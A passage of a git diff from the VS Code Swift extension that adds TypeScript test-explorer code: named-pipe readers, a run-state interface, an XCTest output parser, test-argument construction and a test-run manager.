Unicode: WARNING SIGN + VARIATION SELECTOR-15 (disable emoji) + case TestSymbol.details: + return "\u{21B3}"; // Unicode: DOWNWARDS ARROW WITH TIP RIGHTWARDS + case TestSymbol.attachment: + return "\u{2399}"; // Unicode: PRINT SCREEN SYMBOL + case TestSymbol.none: + return " "; + } + } + } + + // This is adapted from + // https://github.com/apple/swift-testing/blob/786ade71421eb1d8a9c1d99c902cf1c93096e7df/Sources/Testing/Events/Recorder/Event.ConsoleOutputRecorder.swift#L164 + private static colorize(symbolType: TestSymbol, symbol: string): string { + switch (symbolType) { + case TestSymbol.default: + case TestSymbol.details: + case TestSymbol.skip: + case TestSymbol.difference: + case TestSymbol.passWithKnownIssue: + return colorize(symbol, "grey"); + case TestSymbol.pass: + return colorize(symbol, "lightGreen"); + case TestSymbol.fail: + return colorize(symbol, "lightRed"); + case TestSymbol.warning: + return colorize(symbol, "lightYellow"); + case TestSymbol.attachment: + return colorize(symbol, "lightBlue"); + case TestSymbol.none: + default: + return symbol; + } + } +} diff --git a/src/TestExplorer/TestParsers/TestEventStreamReader.ts b/src/TestExplorer/TestParsers/TestEventStreamReader.ts new file mode 100644 index 000000000..6a9c3b5ea --- /dev/null +++ b/src/TestExplorer/TestParsers/TestEventStreamReader.ts @@ -0,0 +1,89 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs"; +import * as net from "net"; +import { Readable } from "stream"; + +export interface INamedPipeReader { + start(readable: Readable): Promise; +} + +/** + * Reads from a named pipe on Windows and forwards data to a `Readable` stream. + * Note that the path must be in the Windows named pipe format of `\\.\pipe\pipename`. + */ +export class WindowsNamedPipeReader implements INamedPipeReader { + constructor(private path: string) {} + + public async start(readable: Readable) { + return new Promise((resolve, reject) => { + try { + const server = net.createServer(function (stream) { + stream.on("data", data => readable.push(data)); + stream.on("error", () => server.close()); + stream.on("end", function () { + readable.push(null); + server.close(); + }); + }); + + server.listen(this.path, () => resolve()); + } catch (error) { + reject(error); + } + }); + } +} + +/** + * Reads from a unix FIFO pipe and forwards data to a `Readable` stream. + * Note that the pipe at the supplied path should be created with `mkfifo` + * before calling `start()`. + */ +export class UnixNamedPipeReader implements INamedPipeReader { + constructor(private path: string) {} + + public async start(readable: Readable) { + return new Promise((resolve, reject) => { + fs.open(this.path, fs.constants.O_RDONLY, (err, fd) => { + if (err) { + return reject(err); + } + try { + // Create our own readable stream that handles backpressure. + // Using a net.Socket to read the pipe has an 8kb internal buffer, + // meaning we couldn't read from writes that were > 8kb. + const pipe = fs.createReadStream("", { fd }); + + pipe.on("data", data => { + if (!readable.push(data)) { + pipe.pause(); + } + }); + + readable.on("drain", () => pipe.resume()); + pipe.on("error", () => pipe.close()); + pipe.on("end", () => { + readable.push(null); + fs.close(fd); + }); + + resolve(); + } catch (error) { + fs.close(fd, () => reject(error)); + } + }); + }); + } +} diff --git a/src/TestExplorer/TestParsers/TestRunState.ts b/src/TestExplorer/TestParsers/TestRunState.ts new file mode 100644 index 000000000..cbcc0139e --- /dev/null +++ b/src/TestExplorer/TestParsers/TestRunState.ts @@ -0,0 +1,79 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +/** + * Interface for setting this test runs state + */ +export interface ITestRunState { + // excess data from previous parse that was not processed + excess?: string; + + // the currently running suite, with the test target included, i.e: TestTarget.Suite + // note that TestTarget is only present on Darwin. + activeSuite?: string; + + // output captured before a test has run in a suite + pendingSuiteOutput?: string[]; + + // failed test state + failedTest?: { + testIndex: number; + message: string; + file: string; + lineNumber: number; + complete: boolean; + }; + + // get test item index from test name on non Darwin platforms + getTestItemIndex(id: string, filename: string | undefined): number; + + // set test index to be started + started(index: number, startTime?: number): void; + + // set test index to have passed. + // If a start time was provided to `started` then the duration is computed as endTime - startTime, + // otherwise the time passed is assumed to be the duration. + completed(index: number, timing: { duration: number } | { timestamp: number }): void; + + // record an issue against a test. + // If a `testCase` is provided a new TestItem will be created under the TestItem at the supplied index. + recordIssue( + index: number, + message: string | vscode.MarkdownString, + isKnown: boolean, + location?: vscode.Location, + diff?: TestIssueDiff + ): void; + + // set test index to have been skipped + skipped(index: number): void; + + // started suite + startedSuite(name: string): void; + + // passed suite + passedSuite(name: string): void; + + // failed suite + failedSuite(name: string): void; + + // record output to associate with a test + recordOutput(index: number | undefined, output: string): void; +} + +export interface TestIssueDiff { + expected: string; + actual: string; +} diff --git a/src/TestExplorer/TestParsers/XCTestOutputParser.ts b/src/TestExplorer/TestParsers/XCTestOutputParser.ts new file mode 100644 index 000000000..f582645f9 --- /dev/null +++ b/src/TestExplorer/TestParsers/XCTestOutputParser.ts @@ -0,0 +1,474 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { Location, MarkdownString } from "vscode"; + +import { lineBreakRegex } from "../../utilities/tasks"; +import { sourceLocationToVSCodeLocation } from "../../utilities/utilities"; +import { ITestRunState, TestIssueDiff } from "./TestRunState"; + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import stripAnsi = require("strip-ansi"); + +/** Regex for parsing XCTest output */ +interface TestRegex { + started: RegExp; + finished: RegExp; + error: RegExp; + skipped: RegExp; + startedSuite: RegExp; + passedSuite: RegExp; + failedSuite: RegExp; +} + +enum TestCompletionState { + passed = "passed", + failed = "failed", + skipped = "skipped", +} + +/** Regex for parsing darwin XCTest output */ +export const darwinTestRegex = { + // Regex "Test Case '-[ ]' started" + started: /Test Case '-\[(\S+)\s(.*)\]' started\./, + // Regex "Test Case '-[ ]' ( seconds)" + finished: /Test Case '-\[(\S+)\s(.*)\]' (.*) \((\d.*) seconds\)/, + // Regex ":: error: -[ ] : " + error: /(.+):(\d+):\serror:\s-\[(\S+)\s(.*)\] : (.*)$/, + // Regex ":: -[ ] : Test skipped" + skipped: /(.+):(\d+):\s-\[(\S+)\s(.*)\] : Test skipped/, + // Regex "Test Suite '' started" + startedSuite: /Test Suite '(.*)' started/, + // Regex "Test Suite '' passed" + passedSuite: /Test Suite '(.*)' passed/, + // Regex "Test Suite '' failed" + failedSuite: /Test Suite '(.*)' failed/, +}; + +/** Regex for parsing non darwin XCTest output */ +export const nonDarwinTestRegex = { + // Regex "Test Case '-[ ]' started" + started: /Test Case '(.*)\.(.*)' started/, + // Regex "Test Case '.' ( seconds)" + finished: /Test Case '(.*)\.(.*)' (.*) \((\d.*) seconds\)/, + // Regex ":: error: . : " + error: /(.+):(\d+):\serror:\s*(.*)\.(.*) : (.*)/, + // Regex ":: . : Test skipped" + skipped: /(.+):(\d+):\s*(.*)\.(.*) : Test skipped/, + // Regex "Test Suite '' started" + startedSuite: /Test Suite '(.*)' started/, + // Regex "Test Suite '' passed" + passedSuite: /Test Suite '(.*)' passed/, + // Regex "Test Suite '' failed" + failedSuite: /Test Suite '(.*)' failed/, +}; + +export interface IXCTestOutputParser { + parseResult(output: string, runState: ITestRunState): void; +} + +export class ParallelXCTestOutputParser implements IXCTestOutputParser { + private outputParser: XCTestOutputParser; + + /** + * Create an ParallelXCTestOutputParser. + * Optional regex can be supplied for tests. + */ + constructor( + private hasMultiLineParallelTestOutput: boolean, + regex?: TestRegex + ) { + this.outputParser = new XCTestOutputParser(regex); + } + + public parseResult(output: string, runState: ITestRunState) { + // From 5.7 to 5.10 running with the --parallel option dumps the test results out + // to the console with no newlines, so it isn't possible to distinguish where errors + // begin and end. Consequently we can't record them. For these versions we rely on the + // generated xunit XML, which we can parse and mark tests as passed or failed here with + // manufactured issues. + // Don't attempt to parse the console output of parallel tests between 5.7 and 5.10 + // as it doesn't have newlines. You might get lucky and find the output is split + // in the right spot, but more often than not we wont be able to parse it. + if (!this.hasMultiLineParallelTestOutput) { + return; + } + + // For parallel XCTest runs we get pass/fail results from the xunit XML + // produced at the end of the run, but we still want to monitor the output + // for the individual assertion failures. Wrap the run state and only forward + // along the issues captured during a test run, and let the `TestXUnitParser` + // handle marking tests as completed. + this.outputParser.parseResult(output, new ParallelXCTestRunStateProxy(runState)); + } +} + +/* eslint-disable @typescript-eslint/no-unused-vars */ +class ParallelXCTestRunStateProxy implements ITestRunState { + // Note this must remain stateless as its recreated on + // every `parseResult` call in `ParallelXCTestOutputParser` + constructor(private runState: ITestRunState) {} + + get excess(): typeof this.runState.excess { + return this.runState.excess; + } + + set excess(value: typeof this.runState.excess) { + this.runState.excess = value; + } + + get activeSuite(): typeof this.runState.activeSuite { + return this.runState.activeSuite; + } + + set activeSuite(value: typeof this.runState.activeSuite) { + this.runState.activeSuite = value; + } + + get pendingSuiteOutput(): typeof this.runState.pendingSuiteOutput { + return this.runState.pendingSuiteOutput; + } + + set pendingSuiteOutput(value: typeof this.runState.pendingSuiteOutput) { + this.runState.pendingSuiteOutput = value; + } + + get failedTest(): typeof this.runState.failedTest { + return this.runState.failedTest; + } + + set failedTest(value: typeof this.runState.failedTest) { + this.runState.failedTest = value; + } + + getTestItemIndex(id: string, filename: string | undefined): number { + return this.runState.getTestItemIndex(id, filename); + } + recordIssue( + index: number, + message: string | MarkdownString, + isKnown: boolean = false, + location?: Location | undefined + ): void { + this.runState.recordIssue(index, message, isKnown, location); + } + started(index: number, startTime?: number | undefined): void {} + completed(index: number, timing: { duration: number } | { timestamp: number }): void {} + skipped(index: number): void {} + startedSuite(name: string): void {} + passedSuite(name: string): void {} + failedSuite(name: string): void {} + recordOutput(index: number | undefined, output: string): void {} +} +/* eslint-enable @typescript-eslint/no-unused-vars */ + +export class XCTestOutputParser implements IXCTestOutputParser { + private regex: TestRegex; + + /** + * Create an XCTestOutputParser. + * Optional regex can be supplied for tests. + */ + constructor(regex?: TestRegex) { + this.regex = regex ?? this.platformTestRegex; + } + + /** + * Parse results from `swift test` and update tests accordingly + * @param output Output from `swift test` + */ + public parseResult(rawOutput: string, runState: ITestRunState) { + // Windows is inserting ANSI codes into the output to do things like clear the cursor, + // which we don't care about. + const output = process.platform === "win32" ? stripAnsi(rawOutput) : rawOutput; + const output2 = output.replace(/\r\n/g, "\n"); + const lines = output2.split(lineBreakRegex); + if (runState.excess) { + lines[0] = runState.excess + lines[0]; + } + // pop empty string off the end of the lines array + if (lines.length > 0 && lines[lines.length - 1] === "") { + lines.pop(); + } + // if submitted text does not end with a newline then pop that off and store in excess + // for next call of parseResult + if (output2[output2.length - 1] !== "\n") { + runState.excess = lines.pop(); + } else { + runState.excess = undefined; + } + + // Non-Darwin test output does not include the test target name. The only way to find out + // the target for a test is when it fails and returns a file name. If we find failed tests + // first and then remove them from the list we cannot set them to passed by mistake. + // We extract the file name from the error and use that to check whether the file belongs + // to the target associated with the TestItem. This does not work 100% as the error could + // occur in another target, so we revert to just searching for class and function name if + // the above method is unsuccessful. + for (const line of lines) { + // Regex "Test Case '-[ ]' started" + const startedMatch = this.regex.started.exec(line); + if (startedMatch) { + const testName = `${startedMatch[1]}/${startedMatch[2]}`; + + // Save the active TestTarget.SuiteClass. + // Note that TestTarget is only present on Darwin. + runState.activeSuite = startedMatch[1]; + this.processPendingSuiteOutput(runState, startedMatch[1]); + + const startedTestIndex = runState.getTestItemIndex(testName, undefined); + this.startTest(startedTestIndex, runState); + this.appendTestOutput(startedTestIndex, line, runState); + continue; + } + // Regex "Test Case '-[ ]' ( seconds)" + const finishedMatch = this.regex.finished.exec(line); + if (finishedMatch) { + const testName = `${finishedMatch[1]}/${finishedMatch[2]}`; + const testIndex = runState.getTestItemIndex(testName, undefined); + const state = finishedMatch[3] as TestCompletionState; + const duration = +finishedMatch[4]; + switch (state) { + case TestCompletionState.failed: + this.failTest(testIndex, { duration }, runState); + break; + case TestCompletionState.passed: + this.passTest(testIndex, { duration }, runState); + break; + case TestCompletionState.skipped: + this.skipTest(testIndex, runState); + break; + } + + this.appendTestOutput(testIndex, line, runState); + continue; + } + // Regex ":: error: . : " + const errorMatch = this.regex.error.exec(line); + if (errorMatch) { + const testName = `${errorMatch[3]}/${errorMatch[4]}`; + const failedTestIndex = runState.getTestItemIndex(testName, errorMatch[1]); + this.startErrorMessage( + failedTestIndex, + errorMatch[5], + errorMatch[1], + errorMatch[2], + runState + ); + this.appendTestOutput(failedTestIndex, line, runState); + continue; + } + // Regex ":: . : Test skipped" + const skippedMatch = this.regex.skipped.exec(line); + if (skippedMatch) { + const testName = `${skippedMatch[3]}/${skippedMatch[4]}`; + const skippedTestIndex = runState.getTestItemIndex(testName, skippedMatch[1]); + this.skipTest(skippedTestIndex, runState); + this.appendTestOutput(skippedTestIndex, line, runState); + continue; + } + // Regex "Test Suite '-[ ]' started" + const startedSuiteMatch = this.regex.startedSuite.exec(line); + if (startedSuiteMatch) { + this.startTestSuite(startedSuiteMatch[1], line, runState); + continue; + } + // Regex "Test Suite '-[ ]' passed" + const passedSuiteMatch = this.regex.passedSuite.exec(line); + if (passedSuiteMatch) { + this.completeSuite(runState, line, this.passTestSuite); + continue; + } + // Regex "Test Suite '-[ ]' failed" + const failedSuiteMatch = this.regex.failedSuite.exec(line); + if (failedSuiteMatch) { + this.completeSuite(runState, line, this.failTestSuite); + continue; + } + // unrecognised output could be the continuation of a previous error message + this.continueErrorMessage(line, runState); + } + } + + /** + * Process the buffered lines captured before a test case has started. + */ + private processPendingSuiteOutput(runState: ITestRunState, suite?: string) { + // If we have a qualified suite name captured from a runninng test + // process the lines captured before the test started, associating the + // line line with the suite. + if (runState.pendingSuiteOutput) { + const startedSuiteIndex = suite ? runState.getTestItemIndex(suite, undefined) : -1; + const totalLines = runState.pendingSuiteOutput.length - 1; + for (let i = 0; i <= totalLines; i++) { + const line = runState.pendingSuiteOutput[i]; + + // Only the last line of the captured output should be associated with the suite + const associateLineWithSuite = i === totalLines && startedSuiteIndex !== -1; + + this.appendTestOutput( + associateLineWithSuite ? startedSuiteIndex : undefined, + line, + runState + ); + } + runState.pendingSuiteOutput = []; + } + } + + /** Mark a suite as complete */ + private completeSuite( + runState: ITestRunState, + line: string, + resultMethod: (name: string, runState: ITestRunState) => void + ) { + let suiteIndex: number | undefined; + if (runState.activeSuite) { + resultMethod(runState.activeSuite, runState); + suiteIndex = runState.getTestItemIndex(runState.activeSuite, undefined); + } + + // If no tests have run we may have output still in the buffer. + // If activeSuite is undefined we finished an empty suite + // and we still want to flush the buffer. + this.processPendingSuiteOutput(runState, runState.activeSuite); + + runState.activeSuite = undefined; + this.appendTestOutput(suiteIndex, line, runState); + } + + /** Get Test parsing regex for current platform */ + private get platformTestRegex(): TestRegex { + return process.platform === "darwin" ? darwinTestRegex : nonDarwinTestRegex; + } + + /** Flag a test suite has started */ + private startTestSuite(name: string, line: string, runState: ITestRunState) { + // Buffer the output to this point until the first test + // starts, at which point we can determine the target. + runState.pendingSuiteOutput = runState.pendingSuiteOutput + ? [...runState.pendingSuiteOutput, line] + : [line]; + + runState.startedSuite(name); + } + + /** Flag a test suite has passed */ + private passTestSuite(name: string, runState: ITestRunState) { + runState.passedSuite(name); + } + + /** Flag a test suite has failed */ + private failTestSuite(name: string, runState: ITestRunState) { + runState.failedSuite(name); + } + + /** Flag we have started a test */ + private startTest(testIndex: number, runState: ITestRunState) { + runState.started(testIndex); + // clear error state + runState.failedTest = undefined; + } + + /** Flag we have passed a test */ + private passTest( + testIndex: number, + timing: { duration: number } | { timestamp: number }, + runState: ITestRunState + ) { + runState.completed(testIndex, timing); + runState.failedTest = undefined; + } + + /** Start capture error message */ + private startErrorMessage( + testIndex: number, + message: string, + file: string, + lineNumber: string, + runState: ITestRunState + ) { + // If we were already capturing an error record it and start a new one + if (runState.failedTest) { + const location = sourceLocationToVSCodeLocation( + runState.failedTest.file, + runState.failedTest.lineNumber + ); + runState.recordIssue(testIndex, runState.failedTest.message, false, location); + runState.failedTest.complete = true; + } + runState.failedTest = { + testIndex: testIndex, + message: message, + file: file, + lineNumber: parseInt(lineNumber), + complete: false, + }; + } + + /** continue capturing error message */ + private continueErrorMessage(message: string, runState: ITestRunState) { + // if we have a failed test message and it isn't complete + if (runState.failedTest && runState.failedTest.complete !== true) { + runState.failedTest.message += `\n${message}`; + this.appendTestOutput(runState.failedTest.testIndex, message, runState); + } else { + this.appendTestOutput(undefined, message, runState); + } + } + + /** Flag we have failed a test */ + private failTest( + testIndex: number, + timing: { duration: number } | { timestamp: number }, + runState: ITestRunState + ) { + if (runState.failedTest) { + const location = sourceLocationToVSCodeLocation( + runState.failedTest.file, + runState.failedTest.lineNumber + ); + const message = runState.failedTest.message; + const diff = this.extractDiff(message); + runState.recordIssue(testIndex, message, false, location, diff); + } else { + runState.recordIssue(testIndex, "Failed", false); + } + runState.completed(testIndex, timing); + runState.failedTest = undefined; + } + + /** Flag we have skipped a test */ + private skipTest(testIndex: number, runState: ITestRunState) { + runState.skipped(testIndex); + runState.failedTest = undefined; + } + + private appendTestOutput(testIndex: number | undefined, line: string, runState: ITestRunState) { + // Need to add back in the newlines since output was split for parsing. + runState.recordOutput(testIndex, `${line}\r\n`); + } + + private extractDiff(message: string): TestIssueDiff | undefined { + const regex = /\((.*)\) is not .* to \((.*)\)/ms; + const match = message.match(regex); + if (match && match[1] !== match[2]) { + return { + actual: match[1], + expected: match[2], + }; + } + + return undefined; + } +} diff --git a/src/TestExplorer/TestRunArguments.ts b/src/TestExplorer/TestRunArguments.ts new file mode 100644 index 000000000..c92cbfcc9 --- /dev/null +++ b/src/TestExplorer/TestRunArguments.ts @@ -0,0 +1,285 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { TestRunProxy } from "./TestRunner"; +import { reduceTestItemChildren } from "./TestUtils"; + +type ProcessResult = { + testItems: vscode.TestItem[]; + xcTestArgs: vscode.TestItem[]; + swiftTestArgs: vscode.TestItem[]; +}; + +/** + * Given a `TestRunRequest`, produces the lists of + * XCTests and swift-testing tests to run. + */ +export class TestRunArguments { + public testItems: vscode.TestItem[]; + public xcTestArgs: string[]; + public swiftTestArgs: string[]; + + constructor(request: vscode.TestRunRequest, isDebug: boolean) { + const { testItems, xcTestArgs, swiftTestArgs } = this.createTestLists(request, isDebug); + this.testItems = testItems; + this.xcTestArgs = this.annotateTestArgs(xcTestArgs, isDebug); + this.swiftTestArgs = this.annotateTestArgs(swiftTestArgs, isDebug); + } + + /** + * Returns true if there are XCTests specified in the request. + */ + public get hasXCTests(): boolean { + return this.xcTestArgs.length > 0 || this.hasNoSpecifiedTests; + } + + /** + * Returns true if there are swift-testing tests specified in the request. + */ + public get hasSwiftTestingTests(): boolean { + return this.swiftTestArgs.length > 0 || this.hasNoSpecifiedTests; + } + + /** + * Returns true if there are no tests specified in the request, + * which indicates that we should run all tests. + */ + private get hasNoSpecifiedTests(): boolean { + return this.testItems.length === 0; + } + + /** + * Construct test item list from TestRequest + * @returns list of test items to run and list of test for XCTest arguments + */ + private createTestLists(request: vscode.TestRunRequest, isDebug: boolean): ProcessResult { + const includes = request.include ?? []; + const excludes = request.exclude ?? []; + return includes.reduce(this.createTestItemReducer(includes, excludes, isDebug), { + testItems: this.createIncludeParentList(includes), + xcTestArgs: [], + swiftTestArgs: [], + }); + } + + /** + * For all the included tests we want to collect up a list of their + * parents so they are included in the final testItems list. Otherwise + * we'll get testStart/End events for testItems we have no record of. + */ + private createIncludeParentList(includes: readonly vscode.TestItem[]): vscode.TestItem[] { + const parents = includes.reduce((map, include) => { + let parent = include.parent; + while (parent) { + map.set(parent.id, parent); + parent = parent.parent; + } + return map; + }, new Map()); + return Array.from(parents.values()); + } + + /** + * Converts a list of TestItems to a regex test item ID. Depending on the TestItem's + * tags and whether it is a debug run the ID is converted to a regex pattern that will + * match the correct tests when passed to the `--filter` argument of `swift test`. + */ + private annotateTestArgs(testArgs: vscode.TestItem[], isDebug: boolean): string[] { + return testArgs.map(arg => { + const isTestTarget = !!arg.tags.find(tag => tag.id === "test-target"); + if (isTestTarget) { + return `${arg.id}.*`; + } + const isXCTest = !!arg.tags.find(tag => tag.id === "XCTest"); + const hasChildren = arg.children.size > 0; + if (isXCTest) { + const terminator = hasChildren ? "/" : "$"; + // Debugging XCTests requires exact matches, so we don't need a trailing terminator. + return isDebug ? arg.id : `${arg.id}${terminator}`; + } else if (hasChildren && !this.hasParameterizedTestChildren(arg)) { + // Append a trailing slash to match a suite name exactly. + // This prevents TestTarget.MySuite matching TestTarget.MySuite2. + return `${arg.id}/`; + } + return arg.id; + }); + } + + private hasParameterizedTestChildren(testItem: vscode.TestItem): boolean { + return Array.from(testItem.children).some(arr => + arr[1].tags.some(tag => tag.id === TestRunProxy.Tags.PARAMETERIZED_TEST_RESULT) + ); + } + + private createTestItemReducer( + include: readonly vscode.TestItem[], + exclude: readonly vscode.TestItem[], + isDebug: boolean + ): (previousValue: ProcessResult, testItem: vscode.TestItem) => ProcessResult { + return (previousValue, testItem) => { + const { testItems, swiftTestArgs, xcTestArgs } = this.processTestItem( + testItem, + include, + exclude, + isDebug + ); + + // If no children were added we can skip adding this parent. + if (xcTestArgs.length + swiftTestArgs.length === 0) { + return previousValue; + } else if (this.itemContainsAllArgs(testItem, xcTestArgs, swiftTestArgs)) { + // If we're including every chlid in the parent, we can simplify the + // arguments and just use the parent + const { xcTestResult, swiftTestResult } = this.simplifyTestArgs( + testItem, + xcTestArgs, + swiftTestArgs, + isDebug + ); + + return { + testItems: [...previousValue.testItems, ...testItems], + xcTestArgs: [...previousValue.xcTestArgs, ...xcTestResult], + swiftTestArgs: [...previousValue.swiftTestArgs, ...swiftTestResult], + }; + } else { + // If we've only added some of the children the append to our test list + return { + testItems: [...previousValue.testItems, ...testItems], + swiftTestArgs: [...previousValue.swiftTestArgs, ...swiftTestArgs], + xcTestArgs: [...previousValue.xcTestArgs, ...xcTestArgs], + }; + } + }; + } + + private itemContainsAllArgs( + testItem: vscode.TestItem, + xcTestArgs: vscode.TestItem[], + swiftTestArgs: vscode.TestItem[] + ): boolean { + return ( + testItem.children.size > 0 && + xcTestArgs.length + swiftTestArgs.length === testItem.children.size + ); + } + + private simplifyTestArgs( + testItem: vscode.TestItem, + xcTestArgs: vscode.TestItem[], + swiftTestArgs: vscode.TestItem[], + isDebug: boolean + ): { xcTestResult: vscode.TestItem[]; swiftTestResult: vscode.TestItem[] } { + // If we've worked all the way up to a test target, it may have both swift-testing + // and XCTests. + const isTestTarget = !!testItem.tags.find(tag => tag.id === "test-target"); + + if (isTestTarget) { + // We cannot simplify away test suites leaving only the target if we are debugging, + // since the exact names of test suites to run need to be passed to the xctest binary. + // It will not debug all tests with only the target name. + if (isDebug) { + return { + xcTestResult: xcTestArgs, + swiftTestResult: swiftTestArgs, + }; + } + return { + // Add a trailing .* to match a test target name exactly. + // This prevents TestTarget matching TestTarget2. + xcTestResult: xcTestArgs.length > 0 ? [testItem] : [], + swiftTestResult: swiftTestArgs.length > 0 ? [testItem] : [], + }; + } + + // If we've added all the children to the list of arguments, just add + // the parent instead of each individual child. This crafts a minimal set + // of test/suites that run all the test cases requested with the smallest list + // of arguments. The testItem has to have a parent to perform this optimization. + // If it does not we break the ability to run both swift testing tests and XCTests + // in the same run, since test targets can have both types of tests in them. + const isXCTest = !!testItem.tags.find(tag => tag.id === "XCTest"); + return { + xcTestResult: isXCTest ? [testItem] : [], + swiftTestResult: !isXCTest ? [testItem] : [], + }; + } + + private processTestItem( + testItem: vscode.TestItem, + include: readonly vscode.TestItem[], + exclude: readonly vscode.TestItem[], + isDebug: boolean + ): ProcessResult { + // Skip tests the user asked to exclude + if (exclude.includes(testItem)) { + return { + testItems: [], + xcTestArgs: [], + swiftTestArgs: [], + }; + } + + const testItems: vscode.TestItem[] = []; + const xcTestArgs: vscode.TestItem[] = []; + const swiftTestArgs: vscode.TestItem[] = []; + + // If this test item is included or we are including everything + if (include.includes(testItem) || include.length === 0) { + const isXCTest = testItem.tags.find(tag => tag.id === "XCTest"); + const isSwiftTestingTest = testItem.tags.find(tag => tag.id === "swift-testing"); + + // Collect up a list of all the test items involved in the run + // from the TestExplorer tree and store them in `testItems`. Exclude + // parameterized test result entries from this list (they don't have a uri). + if (testItem.uri !== undefined || isXCTest) { + testItems.push(testItem); + + // Only add leaf items to the list of arguments to pass to the test runner. + if (this.isLeafTestItem(testItem, !!isXCTest)) { + if (isXCTest) { + xcTestArgs.push(testItem); + } else if (isSwiftTestingTest) { + swiftTestArgs.push(testItem); + } + } + } + } + + return reduceTestItemChildren( + testItem.children, + this.createTestItemReducer([], exclude, isDebug), + { + testItems, + xcTestArgs, + swiftTestArgs, + } + ); + } + + private isLeafTestItem(testItem: vscode.TestItem, isXCTest: boolean) { + if (isXCTest) { + return testItem.children.size === 0; + } + + let result = true; + testItem.children.forEach(child => { + if (child.uri) { + result = false; + } + }); + return result; + } +} diff --git a/src/TestExplorer/TestRunManager.ts b/src/TestExplorer/TestRunManager.ts new file mode 100644 index 000000000..436dc253c --- /dev/null +++ b/src/TestExplorer/TestRunManager.ts @@ -0,0 +1,81 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { TestRunProxy } from "./TestRunner"; + +/** + * Manages active test runs and provides functionality to check if a test run is in progress + * and to cancel test runs. + */ +export class TestRunManager { + private activeTestRuns = new Map< + string, + { testRun: TestRunProxy; tokenSource: vscode.CancellationTokenSource } + >(); + + /** + * Register a new test run + * @param testRun The test run to register + * @param folder The folder context + * @param tokenSource The cancellation token source + */ + public registerTestRun( + testRun: TestRunProxy, + folder: FolderContext, + tokenSource: vscode.CancellationTokenSource + ) { + const key = this.getTestRunKey(folder); + this.activeTestRuns.set(key, { testRun, tokenSource }); + + // When the test run completes, remove it from active test runs + testRun.onTestRunComplete(() => { + this.activeTestRuns.delete(key); + }); + } + + /** + * Cancel an active test run + * @param folder The folder context + */ + public cancelTestRun(folder: FolderContext) { + const key = this.getTestRunKey(folder); + const activeRun = this.activeTestRuns.get(key); + if (activeRun) { + activeRun.testRun.skipPendingTests(); + activeRun.tokenSource.cancel(); + } + } + + /** + * Check if a test run is already in progress for the given folder and test kind + * @param folder The folder context + * @returns The active test run if one exists, undefined otherwise + */ + public getActiveTestRun(folder: FolderContext) { + const key = this.getTestRunKey(folder); + const activeRun = this.activeTestRuns.get(key); + return activeRun?.testRun; + } + + /** + * Generate a unique key for a test run based on folder and test kind + * @param folder The folder context + * @returns A unique key + */ + private getTestRunKey(folder: FolderContext) { + return folder.folder.fsPath; + } +} diff --git a/src/TestExplorer/TestRunner.ts b/src/TestExplorer/TestRunner.ts index ffbf8d925..ae42eee5f 100644 --- a/src/TestExplorer/TestRunner.ts +++ b/src/TestExplorer/TestRunner.ts @@ -1,33 +1,458 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021-2022 the VSCode Swift project authors +// Copyright (c) 2021-2024 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as asyncfs from "fs/promises"; +import * as os from "os"; import * as path from "path"; import * as stream from "stream"; -import { createTestConfiguration, createDarwinTestConfiguration } from "../debugger/launch"; +import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; -import { ExecError, execFileStreamOutput, getErrorDescription } from "../utilities/utilities"; -import { getBuildAllTask } from "../SwiftTaskProvider"; -import configuration from "../configuration"; import { WorkspaceContext } from "../WorkspaceContext"; +import configuration from "../configuration"; +import { TestCoverage } from "../coverage/LcovResults"; +import { + BuildConfigurationFactory, + SwiftTestingBuildAguments, + SwiftTestingConfigurationSetup, + TestingConfigurationFactory, +} from "../debugger/buildConfig"; +import { LoggingDebugAdapterTracker } from "../debugger/logTracker"; +import { createSwiftTask } from "../tasks/SwiftTaskProvider"; +import { TaskOperation } from "../tasks/TaskQueue"; +import { + CompositeCancellationToken, + CompositeCancellationTokenSource, +} from "../utilities/cancellation"; +import { packageName, resolveScope } from "../utilities/tasks"; +import { TemporaryFolder } from "../utilities/tempFolder"; +import { + IS_RUNNING_UNDER_TEST, + compactMap, + execFile, + getErrorDescription, +} from "../utilities/utilities"; +import { TestClass, runnableTag, upsertTestItem } from "./TestDiscovery"; +import { TestKind, isDebugging, isRelease } from "./TestKind"; +import { + SwiftTestingOutputParser, + 